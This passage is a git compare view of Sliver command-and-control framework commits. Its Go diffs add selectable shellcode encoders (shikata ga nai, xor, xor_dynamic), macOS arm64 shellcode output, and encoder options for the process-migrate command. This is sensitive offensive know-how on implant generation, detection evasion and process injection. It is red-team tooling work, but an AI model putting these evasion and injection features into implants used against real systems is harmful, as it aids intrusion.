Compare commits

...
Author SHA1 Message Date
moloch-- 8ea7eb4236 Remove old test 2026-02-05 21:30:45 -08:00
Joe 8f3c3ec1e0 Merge branch 'master' into darwin/shellcode 2026-02-05 22:19:10 -07:00
moloch-- 8d4bf9c759 Fixes to xor_dynamic arm64 2026-02-05 21:18:17 -08:00
moloch-- 85094fc695 Port xor encoders to arm64 2026-02-05 20:41:00 -08:00
moloch-- 0a88ad77f7 Port xor encoders to arm64 2026-02-05 19:15:34 -08:00
moloch-- 4d04f08421 Port xor encoders to arm64 2026-02-05 19:14:25 -08:00
moloch-- 4a01971f7d Allow specifying multiple shellcode encoders by name 2026-02-05 18:39:07 -08:00
moloch-- 977c63dc16 Add shellcode support for darwin/arm64 2026-02-05 17:57:08 -08:00
Joe 2d65d7d6a5 Merge pull request #2161 from BishopFox/c2/mux
C2/mux
2026-02-05 18:36:17 -07:00
moloch-- 4f5ca51cfe Implement generate.darwinShellcode() 2026-02-05 17:16:14 -08:00
moloch-- 83208eeab4 Fix io import for named pipe build 2026-02-05 16:43:53 -08:00
moloch-- 21674a9f0a Merge branch 'codex/fix-client-wg-lport-flag' into c2/mux 2026-02-05 15:50:58 -08:00
moloch-- a18bda14e2 Fix wg lport check 2026-02-05 15:50:47 -08:00
moloch-- 37f9670783 Add mux to wg c2 2026-02-05 15:50:13 -08:00
moloch-- 1745886622 Add mux and signing to wg c2 2026-02-05 14:54:32 -08:00
moloch-- bd7361825c v1.6.11 2026-02-05 12:59:32 -08:00
Joe 32af81c132 Merge pull request #2160 from BishopFox/fix/wepath
Use correct path construction in website.ToProtobuf()
2026-02-05 13:47:35 -07:00
moloch-- a712bead88 Tweak mux ids 2026-02-05 12:10:24 -08:00
moloch-- aa86a1d12c Add more signing unit tests 2026-02-05 11:38:37 -08:00
moloch-- afb58f7155 Add envelope signing over mtls 2026-02-05 11:10:35 -08:00
moloch-- 97d5adccd7 Add beacon tests 2026-02-05 09:28:55 -08:00
moloch-- 83cc755388 Add multiplexing to mtls comms 2026-02-05 07:17:25 -08:00
95 changed files with 14544 additions and 2185 deletions

No files matched your search

+1
View File
@@ -42,3 +42,4 @@ See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+5 -1
View File
@@ -4,6 +4,7 @@ import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
@@ -171,11 +172,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
}
flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) {
f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder")
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
f.Uint32P("pid", "p", 0, "process id to migrate into")
f.StringP("process-name", "n", "", "name of the process to migrate into")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(migrateCmd, func(comp *carapace.ActionMap) {
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
})
carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into"))
msfCmd := &cobra.Command{
+131 -3
View File
@@ -20,14 +20,19 @@ package exec
import (
"context"
"errors"
"fmt"
"sort"
"strings"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// MigrateCmd - Windows only, inject an implant into another process
@@ -55,9 +60,17 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
implantName = beacon.Name
}
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
encoder = clientpb.ShellcodeEncoder_NONE
targetArch := config.GetGOARCH()
if session != nil && session.Arch != "" {
targetArch = session.Arch
} else if beacon != nil && beacon.Arch != "" {
targetArch = beacon.Arch
}
encoder, err := parseShellcodeEncoderFlag(cmd, targetArch, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
ctrl := make(chan bool)
@@ -120,3 +133,118 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
}
}
func normalizeShellcodeEncoderName(name string) string {
normalized := strings.ToLower(strings.TrimSpace(name))
normalized = strings.ReplaceAll(normalized, "-", "_")
return normalized
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
case "arm64", "aarch64":
return "arm64"
default:
return normalized
}
}
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
if con == nil || con.Rpc == nil {
return nil, errors.New("no RPC client")
}
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
}
func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
if encoderMap == nil {
return nil
}
arch = normalizeShellcodeArch(arch)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return nil
}
names := make([]string, 0, len(archMap.GetEncoders()))
for name := range archMap.GetEncoders() {
names = append(names, name)
}
sort.Strings(names)
return names
}
func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
if encoderMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
arch = normalizeShellcodeArch(arch)
name = normalizeShellcodeEncoderName(name)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
encoder, ok := archMap.GetEncoders()[name]
return encoder, ok
}
func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
rawEncoder = strings.TrimSpace(rawEncoder)
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
}
normalized := normalizeShellcodeEncoderName(rawEncoder)
if normalized == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
// If no encoder specified, prompt for a compatible encoder (or none).
if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
// No known compatible encoders for this arch.
return clientpb.ShellcodeEncoder_NONE, nil
}
options := append([]string{"none"}, compatible...)
choice := "none"
if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
if normalizeShellcodeEncoderName(choice) == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
if !ok {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
}
return encoder, nil
}
// Encoder explicitly specified by name.
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
if !ok {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
}
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
}
return encoder, nil
}
+44 -11
View File
@@ -3,6 +3,7 @@ package generate
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
@@ -142,12 +143,13 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) {
f.StringP("save", "s", "", "directory/file to the binary to")
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
f.StringP("name", "n", "", "Implant name")
})
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
})
carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesGenerateCmd)
@@ -308,7 +310,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.StringP("debug-file", "O", "", "path to debug output")
f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
f.StringP("exports", "v", "StartW,VoidFunc,DllInstall,DllRegisterServer,DllUnregisterServer", "comma separated list of exports to include in the binary")
f.StringP("canary", "c", "", "canary domain(s)")
@@ -341,15 +343,45 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.Uint32("donut-entropy", 1, "Donut entropy (1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
f.Bool("donut-compress", false, "Enable Donut compression (aplib) (windows shellcode only)")
f.Uint32("donut-exitopt", 1, "Donut exit option (1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
f.Uint32("donut-bypass", 3, "Donut bypass mode (1=none, 2=abort, 3=continue) (windows shellcode only)")
f.Uint32("donut-headers", 1, "Donut headers handling (1=overwrite, 2=keep) (windows shellcode only)")
f.Bool("donut-thread", false, "Run unmanaged EXE entrypoint as a new thread (windows shellcode only)")
f.Bool("donut-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (windows shellcode only)")
f.Uint32("donut-oep", 0, "Donut original entry point override (0=default) (windows shellcode only)")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows and darwin/arm64)")
// Shellcode generation options:
// - Windows: Donut
// - macOS: beignet
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows and macOS shellcode)")
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows shellcode only)")
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows shellcode only)")
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows shellcode only)")
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows shellcode only)")
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows shellcode only)")
// Backwards-compatible deprecated Donut flags (hidden).
f.Uint32("donut-entropy", 1, "Deprecated (use --shellcode-entropy)")
_ = f.MarkDeprecated("donut-entropy", "use --shellcode-entropy")
_ = f.MarkHidden("donut-entropy")
f.Bool("donut-compress", false, "Deprecated (use --shellcode-compress)")
_ = f.MarkDeprecated("donut-compress", "use --shellcode-compress")
_ = f.MarkHidden("donut-compress")
f.Uint32("donut-exitopt", 1, "Deprecated (use --shellcode-exitopt)")
_ = f.MarkDeprecated("donut-exitopt", "use --shellcode-exitopt")
_ = f.MarkHidden("donut-exitopt")
f.Uint32("donut-bypass", 3, "Deprecated (use --shellcode-bypass)")
_ = f.MarkDeprecated("donut-bypass", "use --shellcode-bypass")
_ = f.MarkHidden("donut-bypass")
f.Uint32("donut-headers", 1, "Deprecated (use --shellcode-headers)")
_ = f.MarkDeprecated("donut-headers", "use --shellcode-headers")
_ = f.MarkHidden("donut-headers")
f.Bool("donut-thread", false, "Deprecated (use --shellcode-thread)")
_ = f.MarkDeprecated("donut-thread", "use --shellcode-thread")
_ = f.MarkHidden("donut-thread")
f.Bool("donut-unicode", false, "Deprecated (use --shellcode-unicode)")
_ = f.MarkDeprecated("donut-unicode", "use --shellcode-unicode")
_ = f.MarkHidden("donut-unicode")
f.Uint32("donut-oep", 0, "Deprecated (use --shellcode-oep)")
_ = f.MarkDeprecated("donut-oep", "use --shellcode-oep")
_ = f.MarkHidden("donut-oep")
})
}
@@ -362,6 +394,7 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
(*comp)["c2profile"] = HTTPC2Completer(con)
})
+340 -59
View File
@@ -28,6 +28,7 @@ import (
"os/signal"
"path/filepath"
"runtime"
"sort"
"strconv"
"strings"
"time"
@@ -353,7 +354,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
isSharedLib := false
isService := false
isShellcode := false
sgnEnabled := false
var exports []string
exportsArg, _ := cmd.Flags().GetString("exports")
@@ -377,8 +377,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
case "shellcode":
configFormat = clientpb.OutputFormat_SHELLCODE
isShellcode = true
sgnEnabled, _ = cmd.Flags().GetBool("disable-sgn")
sgnEnabled = !sgnEnabled
case "service":
configFormat = clientpb.OutputFormat_SERVICE
isService = true
@@ -395,9 +393,15 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
if targetOS == "" || targetArch == "" {
return "", nil
}
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
return "", nil
if configFormat == clientpb.OutputFormat_SHELLCODE {
if targetOS != "windows" && targetOS != "darwin" {
con.PrintErrorf("Shellcode format is currently only supported on Windows and macOS\n")
return "", nil
}
if targetOS == "darwin" && targetArch != "arm64" {
con.PrintErrorf("macOS shellcode format is only supported on darwin/arm64\n")
return "", nil
}
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
@@ -409,12 +413,19 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
return "", nil
}
donutConfig, err := parseDonutFlags(cmd, targetOS, configFormat, con)
shellcodeConfig, err := parseShellcodeFlags(cmd, targetOS, configFormat, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return "", nil
}
shellcodeEncoder, err := parseShellcodeEncoderFlag(cmd, targetArch, configFormat, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return "", nil
}
sgnEnabled := shellcodeEncoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI // legacy field
var tunIP net.IP
if wg, _ := cmd.Flags().GetString("wg"); wg != "" {
uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
@@ -452,6 +463,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
Debug: debug,
Evasion: evasion,
SGNEnabled: sgnEnabled,
ShellcodeEncoder: shellcodeEncoder,
ObfuscateSymbols: symbolObfuscation,
C2: c2s,
CanaryDomains: canaryDomains,
@@ -486,23 +498,63 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
DebugFile: debugFile,
HTTPC2ConfigName: c2Profile,
DonutConfig: donutConfig,
ShellcodeConfig: shellcodeConfig,
}
return name, config
}
func parseDonutFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.DonutConfig, error) {
donutEntropy, _ := cmd.Flags().GetUint32("donut-entropy")
donutCompressEnabled, _ := cmd.Flags().GetBool("donut-compress")
donutExitOpt, _ := cmd.Flags().GetUint32("donut-exitopt")
donutBypass, _ := cmd.Flags().GetUint32("donut-bypass")
donutHeaders, _ := cmd.Flags().GetUint32("donut-headers")
donutThread, _ := cmd.Flags().GetBool("donut-thread")
donutUnicode, _ := cmd.Flags().GetBool("donut-unicode")
donutOEP, _ := cmd.Flags().GetUint32("donut-oep")
func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.ShellcodeConfig, error) {
// Prefer the new `--shellcode-*` flags. Fall back to hidden deprecated `--donut-*` flags for compatibility.
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
if !cmd.Flags().Changed("shellcode-entropy") {
shellcodeEntropy, _ = cmd.Flags().GetUint32("donut-entropy")
}
anyChanged := cmd.Flags().Changed("donut-entropy") ||
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
if !cmd.Flags().Changed("shellcode-compress") {
shellcodeCompressEnabled, _ = cmd.Flags().GetBool("donut-compress")
}
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
if !cmd.Flags().Changed("shellcode-exitopt") {
shellcodeExitOpt, _ = cmd.Flags().GetUint32("donut-exitopt")
}
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
if !cmd.Flags().Changed("shellcode-bypass") {
shellcodeBypass, _ = cmd.Flags().GetUint32("donut-bypass")
}
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
if !cmd.Flags().Changed("shellcode-headers") {
shellcodeHeaders, _ = cmd.Flags().GetUint32("donut-headers")
}
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
if !cmd.Flags().Changed("shellcode-thread") {
shellcodeThread, _ = cmd.Flags().GetBool("donut-thread")
}
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
if !cmd.Flags().Changed("shellcode-unicode") {
shellcodeUnicode, _ = cmd.Flags().GetBool("donut-unicode")
}
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
if !cmd.Flags().Changed("shellcode-oep") {
shellcodeOEP, _ = cmd.Flags().GetUint32("donut-oep")
}
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
cmd.Flags().Changed("shellcode-compress") ||
cmd.Flags().Changed("shellcode-exitopt") ||
cmd.Flags().Changed("shellcode-bypass") ||
cmd.Flags().Changed("shellcode-headers") ||
cmd.Flags().Changed("shellcode-thread") ||
cmd.Flags().Changed("shellcode-unicode") ||
cmd.Flags().Changed("shellcode-oep") ||
cmd.Flags().Changed("donut-entropy") ||
cmd.Flags().Changed("donut-compress") ||
cmd.Flags().Changed("donut-exitopt") ||
cmd.Flags().Changed("donut-bypass") ||
@@ -511,43 +563,199 @@ func parseDonutFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.
cmd.Flags().Changed("donut-unicode") ||
cmd.Flags().Changed("donut-oep")
if targetOS != "windows" || configFormat != clientpb.OutputFormat_SHELLCODE {
if configFormat != clientpb.OutputFormat_SHELLCODE {
if anyChanged {
con.PrintWarnf("Donut options only apply to Windows shellcode, ignoring.\n")
con.PrintWarnf("Shellcode options only apply when using `--format shellcode`, ignoring.\n")
}
return nil, nil
}
if donutEntropy < 1 || donutEntropy > 3 {
return nil, fmt.Errorf("donut-entropy must be between 1 and 3")
}
if donutExitOpt < 1 || donutExitOpt > 3 {
return nil, fmt.Errorf("donut-exitopt must be between 1 and 3")
}
if donutBypass < 1 || donutBypass > 3 {
return nil, fmt.Errorf("donut-bypass must be between 1 and 3")
}
if donutHeaders < 1 || donutHeaders > 2 {
return nil, fmt.Errorf("donut-headers must be 1 or 2")
windowsOnlyChanged := cmd.Flags().Changed("shellcode-entropy") ||
cmd.Flags().Changed("shellcode-exitopt") ||
cmd.Flags().Changed("shellcode-bypass") ||
cmd.Flags().Changed("shellcode-headers") ||
cmd.Flags().Changed("shellcode-thread") ||
cmd.Flags().Changed("shellcode-unicode") ||
cmd.Flags().Changed("shellcode-oep") ||
cmd.Flags().Changed("donut-entropy") ||
cmd.Flags().Changed("donut-exitopt") ||
cmd.Flags().Changed("donut-bypass") ||
cmd.Flags().Changed("donut-headers") ||
cmd.Flags().Changed("donut-thread") ||
cmd.Flags().Changed("donut-unicode") ||
cmd.Flags().Changed("donut-oep")
// macOS shellcode currently only supports compression.
if targetOS != "windows" {
if targetOS == "darwin" {
if windowsOnlyChanged {
con.PrintWarnf("Windows-only shellcode options are ignored on macOS shellcode.\n")
}
} else if anyChanged {
con.PrintWarnf("Shellcode options are only supported on Windows and macOS shellcode, ignoring.\n")
}
shellcodeCompress := uint32(1)
if shellcodeCompressEnabled {
shellcodeCompress = 2
}
return &clientpb.ShellcodeConfig{
Compress: shellcodeCompress,
}, nil
}
donutCompress := uint32(1)
if donutCompressEnabled {
donutCompress = 2
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
return nil, fmt.Errorf("shellcode-entropy must be between 1 and 3")
}
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
return nil, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
}
if shellcodeBypass < 1 || shellcodeBypass > 3 {
return nil, fmt.Errorf("shellcode-bypass must be between 1 and 3")
}
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
return nil, fmt.Errorf("shellcode-headers must be 1 or 2")
}
return &clientpb.DonutConfig{
Entropy: donutEntropy,
Compress: donutCompress,
ExitOpt: donutExitOpt,
Bypass: donutBypass,
Headers: donutHeaders,
Thread: donutThread,
Unicode: donutUnicode,
OEP: donutOEP,
shellcodeCompress := uint32(1)
if shellcodeCompressEnabled {
shellcodeCompress = 2
}
return &clientpb.ShellcodeConfig{
Entropy: shellcodeEntropy,
Compress: shellcodeCompress,
ExitOpt: shellcodeExitOpt,
Bypass: shellcodeBypass,
Headers: shellcodeHeaders,
Thread: shellcodeThread,
Unicode: shellcodeUnicode,
OEP: shellcodeOEP,
}, nil
}
func normalizeShellcodeEncoderName(name string) string {
normalized := strings.ToLower(strings.TrimSpace(name))
normalized = strings.ReplaceAll(normalized, "-", "_")
return normalized
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
case "arm64", "aarch64":
return "arm64"
default:
return normalized
}
}
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
if con == nil || con.Rpc == nil {
return nil, errors.New("no RPC client")
}
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
}
func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
if encoderMap == nil {
return nil
}
arch = normalizeShellcodeArch(arch)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return nil
}
names := make([]string, 0, len(archMap.GetEncoders()))
for name := range archMap.GetEncoders() {
names = append(names, name)
}
sort.Strings(names)
return names
}
func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
if encoderMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
arch = normalizeShellcodeArch(arch)
name = normalizeShellcodeEncoderName(name)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
encoder, ok := archMap.GetEncoders()[name]
return encoder, ok
}
func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, configFormat clientpb.OutputFormat, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
rawEncoder = strings.TrimSpace(rawEncoder)
if configFormat != clientpb.OutputFormat_SHELLCODE {
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder != "" {
con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
}
return clientpb.ShellcodeEncoder_NONE, nil
}
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
}
normalized := normalizeShellcodeEncoderName(rawEncoder)
if normalized == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
// If no encoder specified, prompt for a compatible encoder (or none).
if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
// No known compatible encoders for this arch.
return clientpb.ShellcodeEncoder_NONE, nil
}
options := append([]string{"none"}, compatible...)
choice := "none"
if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
if normalizeShellcodeEncoderName(choice) == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
if !ok {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
}
return encoder, nil
}
// Encoder explicitly specified by name.
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
if !ok {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
}
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
}
return encoder, nil
}
// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled.
func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverClient) (bool, []*commonpb.File) {
trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders")
@@ -1026,12 +1234,58 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
}
con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
fileData := generated.File.Data
if config.IsShellcode {
encoder := config.ShellcodeEncoder
legacySGN := false
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
legacySGN = true
}
if encoder != clientpb.ShellcodeEncoder_NONE {
encoderName := map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}[encoder]
if encoderName == "" {
return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return nil, err
}
if _, ok := shellcodeEncoderEnumForArch(encoderMap, config.GOARCH, encoderName); !ok {
msg := fmt.Sprintf("Shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(config.GOARCH))
if legacySGN {
con.PrintWarnf("%s, skipping.\n", msg)
} else {
return nil, errors.New(msg)
}
} else {
con.PrintInfof("Encoding shellcode with %s ... ", encoderName)
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: encoder,
Architecture: config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: fileData,
})
if err != nil {
return nil, err
}
con.Printf("success!\n")
fileData = resp.GetData()
}
}
}
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name), con)
if err != nil {
return nil, err
}
err = os.WriteFile(saveTo, generated.File.Data, 0o700)
err = os.WriteFile(saveTo, fileData, 0o700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
@@ -1078,22 +1332,49 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
fileData := generated.File.Data
if config.IsShellcode {
